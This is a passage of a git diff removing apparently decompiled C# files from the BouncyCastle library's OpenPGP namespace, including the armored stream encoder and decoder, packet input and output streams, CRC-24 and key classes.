decodingTable[in3]; - result[0] = ((num << 2) | (num2 >> 4)) & 0xFF; - result[1] = ((num2 << 4) | (num3 >> 2)) & 0xFF; - result[2] = ((num3 << 6) | num4) & 0xFF; - return 0; - } - - public ArmoredInputStream(Stream input) - : this(input, hasHeaders: true) - { - } - - public ArmoredInputStream(Stream input, bool hasHeaders) - { - this.input = input; - this.hasHeaders = hasHeaders; - if (hasHeaders) - { - ParseHeaders(); - } - start = false; - } - - private bool ParseHeaders() - { - header = null; - int num = 0; - bool flag = false; - headerList = Platform.CreateArrayList(); - if (restart) - { - flag = true; - } - else - { - int num2; - while ((num2 = input.ReadByte()) >= 0) - { - if (num2 == 45 && (num == 0 || num == 10 || num == 13)) - { - flag = true; - break; - } - num = num2; - } - } - if (flag) - { - StringBuilder stringBuilder = new StringBuilder("-"); - bool flag2 = false; - bool flag3 = false; - if (restart) - { - stringBuilder.Append('-'); - } - int num2; - while ((num2 = input.ReadByte()) >= 0) - { - if (num == 13 && num2 == 10) - { - flag3 = true; - } - if ((flag2 && num != 13 && num2 == 10) || (flag2 && num2 == 13)) - { - break; - } - if (num2 == 13 || (num != 13 && num2 == 10)) - { - string text = stringBuilder.ToString(); - if (text.Trim().Length < 1) - { - break; - } - headerList.Add(text); - stringBuilder.Length = 0; - } - if (num2 != 10 && num2 != 13) - { - stringBuilder.Append((char)num2); - flag2 = false; - } - else if (num2 == 13 || (num != 13 && num2 == 10)) - { - flag2 = true; - } - num = num2; - } - if (flag3) - { - input.ReadByte(); - } - } - if (headerList.Count > 0) - { - header = (string)headerList[0]; - } - clearText = "-----BEGIN PGP SIGNED MESSAGE-----".Equals(header); - newLineFound = true; - return flag; - } - - public bool IsClearText() - { - return clearText; - } - - public bool IsEndOfStream() - { - return isEndOfStream; - } - - public string GetArmorHeaderLine() - { - return header; - } - - public string[] GetArmorHeaders() - { - if (headerList.Count <= 1) - { - return null; - } - string[] array = new string[headerList.Count - 1]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (string)headerList[i + 1]; - } - return array; - } - - private int ReadIgnoreSpace() - { - int num; - do - { - num = input.ReadByte(); - } - while (num == 32 || num == 9); - return num; - } - - private int ReadIgnoreWhitespace() - { - int num; - do - { - num = input.ReadByte(); - } - while (num == 32 || num == 9 || num == 13 || num == 10); - return num; - } - - private int ReadByteClearText() - { - int num = input.ReadByte(); - if (num == 13 || (num == 10 && lastC != 13)) - { - newLineFound = true; - } - else if (newLineFound && num == 45) - { - num = input.ReadByte(); - if (num == 45) - { - clearText = false; - start = true; - restart = true; - } - else - { - num = input.ReadByte(); - } - newLineFound = false; - } - else if (num != 10 && lastC != 13) - { - newLineFound = false; - } - lastC = num; - if (num < 0) - { - isEndOfStream = true; - } - return num; - } - - private int ReadClearText(byte[] buffer, int offset, int count) - { - int num = offset; - try - { - int num2 = offset + count; - while (num < num2) - { - int num3 = ReadByteClearText(); - if (num3 != -1) - { - buffer[num++] = (byte)num3; - continue; - } - break; - } - } - catch (IOException ex) - { - if (num == offset) - { - throw ex; - } - } - return num - offset; - } - - private int DoReadByte() - { - if (bufPtr > 2 || crcFound) - { - int num = ReadIgnoreSpace(); - if (num == 10 || num == 13) - { - num = ReadIgnoreWhitespace(); - if (num == 61) - { - bufPtr = Decode(ReadIgnoreSpace(), ReadIgnoreSpace(), ReadIgnoreSpace(), ReadIgnoreSpace(), outBuf); - if (bufPtr != 0) - { - throw new IOException("no crc found in armored message."); - } - crcFound = true; - int num2 = ((outBuf[0] & 0xFF) << 16) | ((outBuf[1] & 0xFF) << 8) | (outBuf[2] & 0xFF); - if (num2 != crc.Value) - { - throw new IOException("crc check failed in armored message."); - } - return ReadByte(); - } - if (num == 45) - { - while ((num = input.ReadByte()) >= 0 && num != 10 && num != 13) - { - } - if (!crcFound) - { - throw new IOException("crc check not found."); - } - crcFound = false; - start = true; - bufPtr = 3; - if (num < 0) - { - isEndOfStream = true; - } - return -1; - } - } - if (num < 0) - { - isEndOfStream = true; - return -1; - } - bufPtr = Decode(num, ReadIgnoreSpace(), ReadIgnoreSpace(), ReadIgnoreSpace(), outBuf); - } - return outBuf[bufPtr++]; - } - - public override int ReadByte() - { - if (start) - { - if (hasHeaders) - { - ParseHeaders(); - } - crc.Reset(); - start = false; - } - if (clearText) - { - return ReadByteClearText(); - } - int num = DoReadByte(); - crc.Update(num); - return num; - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (start && count > 0) - { - if (hasHeaders) - { - ParseHeaders(); - } - start = false; - } - if (clearText) - { - return ReadClearText(buffer, offset, count); - } - int num = offset; - try - { - int num2 = offset + count; - while (num < num2) - { - int num3 = DoReadByte(); - crc.Update(num3); - if (num3 != -1) - { - buffer[num++] = (byte)num3; - continue; - } - break; - } - } - catch (IOException ex) - { - if (num == offset) - { - throw ex; - } - } - return num - offset; - } - - public override void Close() - { - Platform.Dispose(input); - base.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredOutputStream.cs deleted file mode 100644 index 360a92f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ArmoredOutputStream.cs +++ /dev/null @@ -1,267 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class ArmoredOutputStream : BaseOutputStream -{ - public static readonly string HeaderVersion = "Version"; - - private static readonly byte[] encodingTable = new byte[64] - { - 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, - 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, - 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, - 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, - 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, - 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, - 56, 57, 43, 47 - }; - - private readonly Stream outStream; - - private int[] buf = new int[3]; - - private int bufPtr = 0; - - private Crc24 crc = new Crc24(); - - private int chunkCount = 0; - - private int lastb; - - private bool start = true; - - private bool clearText = false; - - private bool newLine = false; - - private string type; - - private static readonly string nl = Platform.NewLine; - - private static readonly string headerStart = "-----BEGIN PGP "; - - private static readonly string headerTail = "-----"; - - private static readonly string footerStart = "-----END PGP "; - - private static readonly string footerTail = "-----"; - - private static readonly string Version = "BCPG C# v" + AssemblyInfo.Version; - - private readonly IDictionary headers; - - private static void Encode(Stream outStream, int[] data, int len) - { - byte[] array = new byte[4]; - int num = data[0]; - array[0] = encodingTable[(num >> 2) & 0x3F]; - switch (len) - { - case 1: - array[1] = encodingTable[(num << 4) & 0x3F]; - array[2] = 61; - array[3] = 61; - break; - case 2: - { - int num4 = data[1]; - array[1] = encodingTable[((num << 4) | (num4 >> 4)) & 0x3F]; - array[2] = encodingTable[(num4 << 2) & 0x3F]; - array[3] = 61; - break; - } - case 3: - { - int num2 = data[1]; - int num3 = data[2]; - array[1] = encodingTable[((num << 4) | (num2 >> 4)) & 0x3F]; - array[2] = encodingTable[((num2 << 2) | (num3 >> 6)) & 0x3F]; - array[3] = encodingTable[num3 & 0x3F]; - break; - } - } - outStream.Write(array, 0, array.Length); - } - - public ArmoredOutputStream(Stream outStream) - { - this.outStream = outStream; - headers = Platform.CreateHashtable(1); - headers.Add(HeaderVersion, Version); - } - - public ArmoredOutputStream(Stream outStream, IDictionary headers) - { - this.outStream = outStream; - this.headers = Platform.CreateHashtable(headers); - if (!this.headers.Contains(HeaderVersion)) - { - this.headers.Add(HeaderVersion, Version); - } - } - - public void SetHeader(string name, string v) - { - if (v == null) - { - headers.Remove(name); - } - else - { - headers[name] = v; - } - } - - public void ResetHeaders() - { - string text = (string)headers[HeaderVersion]; - headers.Clear(); - if (text != null) - { - headers.Add(HeaderVersion, text); - } - } - - public void BeginClearText(HashAlgorithmTag hashAlgorithm) - { - string text = hashAlgorithm switch - { - HashAlgorithmTag.Sha1 => "SHA1", - HashAlgorithmTag.Sha256 => "SHA256", - HashAlgorithmTag.Sha384 => "SHA384", - HashAlgorithmTag.Sha512 => "SHA512", - HashAlgorithmTag.MD2 => "MD2", - HashAlgorithmTag.MD5 => "MD5", - HashAlgorithmTag.RipeMD160 => "RIPEMD160", - _ => throw new IOException("unknown hash algorithm tag in beginClearText: " + hashAlgorithm), - }; - DoWrite("-----BEGIN PGP SIGNED MESSAGE-----" + nl); - DoWrite("Hash: " + text + nl + nl); - clearText = true; - newLine = true; - lastb = 0; - } - - public void EndClearText() - { - clearText = false; - } - - public override void WriteByte(byte b) - { - if (clearText) - { - outStream.WriteByte(b); - if (newLine) - { - if (b != 10 || lastb != 13) - { - newLine = false; - } - if (b == 45) - { - outStream.WriteByte(32); - outStream.WriteByte(45); - } - } - if (b == 13 || (b == 10 && lastb != 13)) - { - newLine = true; - } - lastb = b; - return; - } - if (start) - { - switch ((PacketTag)(((b & 0x40) == 0) ? ((b & 0x3F) >> 2) : (b & 0x3F))) - { - case PacketTag.PublicKey: - type = "PUBLIC KEY BLOCK"; - break; - case PacketTag.SecretKey: - type = "PRIVATE KEY BLOCK"; - break; - case PacketTag.Signature: - type = "SIGNATURE"; - break; - default: - type = "MESSAGE"; - break; - } - DoWrite(headerStart + type + headerTail + nl); - if (headers.Contains(HeaderVersion)) - { - WriteHeaderEntry(HeaderVersion, (string)headers[HeaderVersion]); - } - foreach (object header in headers) - { - DictionaryEntry dictionaryEntry = (DictionaryEntry)header; - string text = (string)dictionaryEntry.Key; - if (text != HeaderVersion) - { - string v = (string)dictionaryEntry.Value; - WriteHeaderEntry(text, v); - } - } - DoWrite(nl); - start = false; - } - if (bufPtr == 3) - { - Encode(outStream, buf, bufPtr); - bufPtr = 0; - if ((++chunkCount & 0xF) == 0) - { - DoWrite(nl); - } - } - crc.Update(b); - buf[bufPtr++] = b & 0xFF; - } - - public override void Close() - { - if (type != null) - { - DoClose(); - type = null; - start = true; - base.Close(); - } - } - - private void DoClose() - { - if (bufPtr > 0) - { - Encode(outStream, buf, bufPtr); - } - DoWrite(nl + '='); - int value = crc.Value; - buf[0] = (value >> 16) & 0xFF; - buf[1] = (value >> 8) & 0xFF; - buf[2] = value & 0xFF; - Encode(outStream, buf, 3); - DoWrite(nl); - DoWrite(footerStart); - DoWrite(type); - DoWrite(footerTail); - DoWrite(nl); - outStream.Flush(); - } - - private void WriteHeaderEntry(string name, string v) - { - DoWrite(name + ": " + v + nl); - } - - private void DoWrite(string s) - { - byte[] array = Strings.ToAsciiByteArray(s); - outStream.Write(array, 0, array.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Attr/ImageAttrib.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Attr/ImageAttrib.cs deleted file mode 100644 index 186f77f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Attr/ImageAttrib.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Bcpg.Attr; - -public class ImageAttrib : UserAttributeSubpacket -{ - public enum Format : byte - { - Jpeg = 1 - } - - private static readonly byte[] Zeroes = new byte[12]; - - private int hdrLength; - - private int _version; - - private int _encoding; - - private byte[] imageData; - - public virtual int Version => _version; - - public virtual int Encoding => _encoding; - - public ImageAttrib(byte[] data) - : this(forceLongLength: false, data) - { - } - - public ImageAttrib(bool forceLongLength, byte[] data) - : base(UserAttributeSubpacketTag.ImageAttribute, forceLongLength, data) - { - hdrLength = ((data[1] & 0xFF) << 8) | (data[0] & 0xFF); - _version = data[2] & 0xFF; - _encoding = data[3] & 0xFF; - imageData = new byte[data.Length - hdrLength]; - Array.Copy(data, hdrLength, imageData, 0, imageData.Length); - } - - public ImageAttrib(Format imageType, byte[] imageData) - : this(ToByteArray(imageType, imageData)) - { - } - - private static byte[] ToByteArray(Format imageType, byte[] imageData) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.WriteByte(16); - memoryStream.WriteByte(0); - memoryStream.WriteByte(1); - memoryStream.WriteByte((byte)imageType); - memoryStream.Write(Zeroes, 0, Zeroes.Length); - memoryStream.Write(imageData, 0, imageData.Length); - return memoryStream.ToArray(); - } - - public virtual byte[] GetImageData() - { - return imageData; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgInputStream.cs deleted file mode 100644 index 6a4a92c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgInputStream.cs +++ /dev/null @@ -1,309 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class BcpgInputStream : BaseInputStream -{ - private class PartialInputStream : BaseInputStream - { - private BcpgInputStream m_in; - - private bool partial; - - private int dataLength; - - internal PartialInputStream(BcpgInputStream bcpgIn, bool partial, int dataLength) - { - m_in = bcpgIn; - this.partial = partial; - this.dataLength = dataLength; - } - - public override int ReadByte() - { - do - { - if (dataLength != 0) - { - int num = m_in.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException("Premature end of stream in PartialInputStream"); - } - dataLength--; - return num; - } - } - while (partial && ReadPartialDataLength() >= 0); - return -1; - } - - public override int Read(byte[] buffer, int offset, int count) - { - do - { - if (dataLength != 0) - { - int count2 = ((dataLength > count || dataLength < 0) ? count : dataLength); - int num = m_in.Read(buffer, offset, count2); - if (num < 1) - { - throw new EndOfStreamException("Premature end of stream in PartialInputStream"); - } - dataLength -= num; - return num; - } - } - while (partial && ReadPartialDataLength() >= 0); - return 0; - } - - private int ReadPartialDataLength() - { - int num = m_in.ReadByte(); - if (num < 0) - { - return -1; - } - partial = false; - if (num < 192) - { - dataLength = num; - } - else if (num <= 223) - { - dataLength = (num - 192 << 8) + m_in.ReadByte() + 192; - } - else if (num == 255) - { - dataLength = (m_in.ReadByte() << 24) | (m_in.ReadByte() << 16) | (m_in.ReadByte() << 8) | m_in.ReadByte(); - } - else - { - partial = true; - dataLength = 1 << (num & 0x1F); - } - return 0; - } - } - - private Stream m_in; - - private bool next = false; - - private int nextB; - - internal static BcpgInputStream Wrap(Stream inStr) - { - if (inStr is BcpgInputStream) - { - return (BcpgInputStream)inStr; - } - return new BcpgInputStream(inStr); - } - - private BcpgInputStream(Stream inputStream) - { - m_in = inputStream; - } - - public override int ReadByte() - { - if (next) - { - next = false; - return nextB; - } - return m_in.ReadByte(); - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (!next) - { - return m_in.Read(buffer, offset, count); - } - if (nextB < 0) - { - return 0; - } - if (buffer == null) - { - throw new ArgumentNullException("buffer"); - } - buffer[offset] = (byte)nextB; - next = false; - return 1; - } - - public byte[] ReadAll() - { - return Streams.ReadAll(this); - } - - public void ReadFully(byte[] buffer, int off, int len) - { - if (Streams.ReadFully(this, buffer, off, len) < len) - { - throw new EndOfStreamException(); - } - } - - public void ReadFully(byte[] buffer) - { - ReadFully(buffer, 0, buffer.Length); - } - - public PacketTag NextPacketTag() - { - if (!next) - { - try - { - nextB = m_in.ReadByte(); - } - catch (EndOfStreamException) - { - nextB = -1; - } - next = true; - } - if (nextB < 0) - { - return (PacketTag)nextB; - } - int num = nextB & 0x3F; - if ((nextB & 0x40) == 0) - { - num >>= 2; - } - return (PacketTag)num; - } - - public Packet ReadPacket() - { - int num = ReadByte(); - if (num < 0) - { - return null; - } - if ((num & 0x80) == 0) - { - throw new IOException("invalid header encountered"); - } - bool flag = (num & 0x40) != 0; - PacketTag packetTag = PacketTag.Reserved; - int num2 = 0; - bool flag2 = false; - if (flag) - { - packetTag = (PacketTag)(num & 0x3F); - int num3 = ReadByte(); - if (num3 < 192) - { - num2 = num3; - } - else if (num3 <= 223) - { - int num4 = m_in.ReadByte(); - num2 = (num3 - 192 << 8) + num4 + 192; - } - else if (num3 == 255) - { - num2 = (m_in.ReadByte() << 24) | (m_in.ReadByte() << 16) | (m_in.ReadByte() << 8) | m_in.ReadByte(); - } - else - { - flag2 = true; - num2 = 1 << (num3 & 0x1F); - } - } - else - { - int num5 = num & 3; - packetTag = (PacketTag)((num & 0x3F) >> 2); - switch (num5) - { - case 0: - num2 = ReadByte(); - break; - case 1: - num2 = (ReadByte() << 8) | ReadByte(); - break; - case 2: - num2 = (ReadByte() << 24) | (ReadByte() << 16) | (ReadByte() << 8) | ReadByte(); - break; - case 3: - flag2 = true; - break; - default: - throw new IOException("unknown length type encountered"); - } - } - BcpgInputStream bcpgIn; - if (num2 == 0 && flag2) - { - bcpgIn = this; - } - else - { - PartialInputStream inputStream = new PartialInputStream(this, flag2, num2); - bcpgIn = new BcpgInputStream(inputStream); - } - switch (packetTag) - { - case PacketTag.Reserved: - return new InputStreamPacket(bcpgIn); - case PacketTag.PublicKeyEncryptedSession: - return new PublicKeyEncSessionPacket(bcpgIn); - case PacketTag.Signature: - return new SignaturePacket(bcpgIn); - case PacketTag.SymmetricKeyEncryptedSessionKey: - return new SymmetricKeyEncSessionPacket(bcpgIn); - case PacketTag.OnePassSignature: - return new OnePassSignaturePacket(bcpgIn); - case PacketTag.SecretKey: - return new SecretKeyPacket(bcpgIn); - case PacketTag.PublicKey: - return new PublicKeyPacket(bcpgIn); - case PacketTag.SecretSubkey: - return new SecretSubkeyPacket(bcpgIn); - case PacketTag.CompressedData: - return new CompressedDataPacket(bcpgIn); - case PacketTag.SymmetricKeyEncrypted: - return new SymmetricEncDataPacket(bcpgIn); - case PacketTag.Marker: - return new MarkerPacket(bcpgIn); - case PacketTag.LiteralData: - return new LiteralDataPacket(bcpgIn); - case PacketTag.Trust: - return new TrustPacket(bcpgIn); - case PacketTag.UserId: - return new UserIdPacket(bcpgIn); - case PacketTag.UserAttribute: - return new UserAttributePacket(bcpgIn); - case PacketTag.PublicSubkey: - return new PublicSubkeyPacket(bcpgIn); - case PacketTag.SymmetricEncryptedIntegrityProtected: - return new SymmetricEncIntegrityPacket(bcpgIn); - case PacketTag.ModificationDetectionCode: - return new ModDetectionCodePacket(bcpgIn); - case PacketTag.Experimental1: - case PacketTag.Experimental2: - case PacketTag.Experimental3: - case PacketTag.Experimental4: - return new ExperimentalPacket(packetTag, bcpgIn); - default: - throw new IOException("unknown packet type encountered: " + packetTag); - } - } - - public override void Close() - { - Platform.Dispose(m_in); - base.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgObject.cs deleted file mode 100644 index 4b97581..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgObject.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public abstract class BcpgObject -{ - public virtual byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WriteObject(this); - return memoryStream.ToArray(); - } - - public abstract void Encode(BcpgOutputStream bcpgOut); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgOutputStream.cs deleted file mode 100644 index 7ec650f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/BcpgOutputStream.cs +++ /dev/null @@ -1,314 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class BcpgOutputStream : BaseOutputStream -{ - private const int BufferSizePower = 16; - - private Stream outStr; - - private byte[] partialBuffer; - - private int partialBufferLength; - - private int partialPower; - - private int partialOffset; - - internal static BcpgOutputStream Wrap(Stream outStr) - { - if (outStr is BcpgOutputStream) - { - return (BcpgOutputStream)outStr; - } - return new BcpgOutputStream(outStr); - } - - public BcpgOutputStream(Stream outStr) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - this.outStr = outStr; - } - - public BcpgOutputStream(Stream outStr, PacketTag tag) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - this.outStr = outStr; - WriteHeader(tag, oldPackets: true, partial: true, 0L); - } - - public BcpgOutputStream(Stream outStr, PacketTag tag, long length, bool oldFormat) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - this.outStr = outStr; - if (length > uint.MaxValue) - { - WriteHeader(tag, oldPackets: false, partial: true, 0L); - partialBufferLength = 65536; - partialBuffer = new byte[partialBufferLength]; - partialPower = 16; - partialOffset = 0; - } - else - { - WriteHeader(tag, oldFormat, partial: false, length); - } - } - - public BcpgOutputStream(Stream outStr, PacketTag tag, long length) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - this.outStr = outStr; - WriteHeader(tag, oldPackets: false, partial: false, length); - } - - public BcpgOutputStream(Stream outStr, PacketTag tag, byte[] buffer) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - this.outStr = outStr; - WriteHeader(tag, oldPackets: false, partial: true, 0L); - partialBuffer = buffer; - uint num = (uint)partialBuffer.Length; - partialPower = 0; - while (num != 1) - { - num >>= 1; - partialPower++; - } - if (partialPower > 30) - { - throw new IOException("Buffer cannot be greater than 2^30 in length."); - } - partialBufferLength = 1 << partialPower; - partialOffset = 0; - } - - private void WriteNewPacketLength(long bodyLen) - { - if (bodyLen < 192) - { - outStr.WriteByte((byte)bodyLen); - } - else if (bodyLen <= 8383) - { - bodyLen -= 192; - outStr.WriteByte((byte)(((bodyLen >> 8) & 0xFF) + 192)); - outStr.WriteByte((byte)bodyLen); - } - else - { - outStr.WriteByte(byte.MaxValue); - outStr.WriteByte((byte)(bodyLen >> 24)); - outStr.WriteByte((byte)(bodyLen >> 16)); - outStr.WriteByte((byte)(bodyLen >> 8)); - outStr.WriteByte((byte)bodyLen); - } - } - - private void WriteHeader(PacketTag tag, bool oldPackets, bool partial, long bodyLen) - { - int num = 128; - if (partialBuffer != null) - { - PartialFlush(isLast: true); - partialBuffer = null; - } - if (oldPackets) - { - num |= (int)tag << 2; - if (partial) - { - WriteByte((byte)(num | 3)); - } - else if (bodyLen <= 255) - { - WriteByte((byte)num); - WriteByte((byte)bodyLen); - } - else if (bodyLen <= 65535) - { - WriteByte((byte)(num | 1)); - WriteByte((byte)(bodyLen >> 8)); - WriteByte((byte)bodyLen); - } - else - { - WriteByte((byte)(num | 2)); - WriteByte((byte)(bodyLen >> 24)); - WriteByte((byte)(bodyLen >> 16)); - WriteByte((byte)(bodyLen >> 8)); - WriteByte((byte)bodyLen); - } - } - else - { - num |= (int)((PacketTag)64 | tag); - WriteByte((byte)num); - if (partial) - { - partialOffset = 0; - } - else - { - WriteNewPacketLength(bodyLen); - } - } - } - - private void PartialFlush(bool isLast) - { - if (isLast) - { - WriteNewPacketLength(partialOffset); - outStr.Write(partialBuffer, 0, partialOffset); - } - else - { - outStr.WriteByte((byte)(0xE0 | partialPower)); - outStr.Write(partialBuffer, 0, partialBufferLength); - } - partialOffset = 0; - } - - private void WritePartial(byte b) - { - if (partialOffset == partialBufferLength) - { - PartialFlush(isLast: false); - } - partialBuffer[partialOffset++] = b; - } - - private void WritePartial(byte[] buffer, int off, int len) - { - if (partialOffset == partialBufferLength) - { - PartialFlush(isLast: false); - } - if (len <= partialBufferLength - partialOffset) - { - Array.Copy(buffer, off, partialBuffer, partialOffset, len); - partialOffset += len; - return; - } - int num = partialBufferLength - partialOffset; - Array.Copy(buffer, off, partialBuffer, partialOffset, num); - off += num; - len -= num; - PartialFlush(isLast: false); - while (len > partialBufferLength) - { - Array.Copy(buffer, off, partialBuffer, 0, partialBufferLength); - off += partialBufferLength; - len -= partialBufferLength; - PartialFlush(isLast: false); - } - Array.Copy(buffer, off, partialBuffer, 0, len); - partialOffset += len; - } - - public override void WriteByte(byte value) - { - if (partialBuffer != null) - { - WritePartial(value); - } - else - { - outStr.WriteByte(value); - } - } - - public override void Write(byte[] buffer, int offset, int count) - { - if (partialBuffer != null) - { - WritePartial(buffer, offset, count); - } - else - { - outStr.Write(buffer, offset, count); - } - } - - internal virtual void WriteShort(short n) - { - Write((byte)(n >> 8), (byte)n); - } - - internal virtual void WriteInt(int n) - { - Write((byte)(n >> 24), (byte)(n >> 16), (byte)(n >> 8), (byte)n); - } - - internal virtual void WriteLong(long n) - { - Write((byte)(n >> 56), (byte)(n >> 48), (byte)(n >> 40), (byte)(n >> 32), (byte)(n >> 24), (byte)(n >> 16), (byte)(n >> 8), (byte)n); - } - - public void WritePacket(ContainedPacket p) - { - p.Encode(this); - } - - internal void WritePacket(PacketTag tag, byte[] body, bool oldFormat) - { - WriteHeader(tag, oldFormat, partial: false, body.Length); - Write(body); - } - - public void WriteObject(BcpgObject bcpgObject) - { - bcpgObject.Encode(this); - } - - public void WriteObjects(params BcpgObject[] v) - { - foreach (BcpgObject bcpgObject in v) - { - bcpgObject.Encode(this); - } - } - - public override void Flush() - { - outStr.Flush(); - } - - public void Finish() - { - if (partialBuffer != null) - { - PartialFlush(isLast: true); - Array.Clear(partialBuffer, 0, partialBuffer.Length); - partialBuffer = null; - } - } - - public override void Close() - { - Finish(); - outStr.Flush(); - Platform.Dispose(outStr); - base.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressedDataPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressedDataPacket.cs deleted file mode 100644 index 488797a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressedDataPacket.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class CompressedDataPacket : InputStreamPacket -{ - private readonly CompressionAlgorithmTag algorithm; - - public CompressionAlgorithmTag Algorithm => algorithm; - - internal CompressedDataPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - algorithm = (CompressionAlgorithmTag)bcpgIn.ReadByte(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressionAlgorithmTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressionAlgorithmTag.cs deleted file mode 100644 index 128ec09..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/CompressionAlgorithmTag.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum CompressionAlgorithmTag -{ - Uncompressed, - Zip, - ZLib, - BZip2 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ContainedPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ContainedPacket.cs deleted file mode 100644 index cbd69e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ContainedPacket.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public abstract class ContainedPacket : Packet -{ - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WritePacket(this); - return memoryStream.ToArray(); - } - - public abstract void Encode(BcpgOutputStream bcpgOut); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Crc24.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Crc24.cs deleted file mode 100644 index 11428d7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Crc24.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public class Crc24 -{ - private const int Crc24Init = 11994318; - - private const int Crc24Poly = 25578747; - - private int crc = 11994318; - - public int Value => crc; - - public void Update(int b) - { - crc ^= b << 16; - for (int i = 0; i < 8; i++) - { - crc <<= 1; - if ((crc & 0x1000000) != 0) - { - crc ^= 25578747; - } - } - } - - [Obsolete("Use 'Value' property instead")] - public int GetValue() - { - return crc; - } - - public void Reset() - { - crc = 11994318; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaPublicBcpgKey.cs deleted file mode 100644 index 044fd36..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaPublicBcpgKey.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class DsaPublicBcpgKey : BcpgObject, IBcpgKey -{ - private readonly MPInteger p; - - private readonly MPInteger q; - - private readonly MPInteger g; - - private readonly MPInteger y; - - public string Format => "PGP"; - - public BigInteger G => g.Value; - - public BigInteger P => p.Value; - - public BigInteger Q => q.Value; - - public BigInteger Y => y.Value; - - public DsaPublicBcpgKey(BcpgInputStream bcpgIn) - { - p = new MPInteger(bcpgIn); - q = new MPInteger(bcpgIn); - g = new MPInteger(bcpgIn); - y = new MPInteger(bcpgIn); - } - - public DsaPublicBcpgKey(BigInteger p, BigInteger q, BigInteger g, BigInteger y) - { - this.p = new MPInteger(p); - this.q = new MPInteger(q); - this.g = new MPInteger(g); - 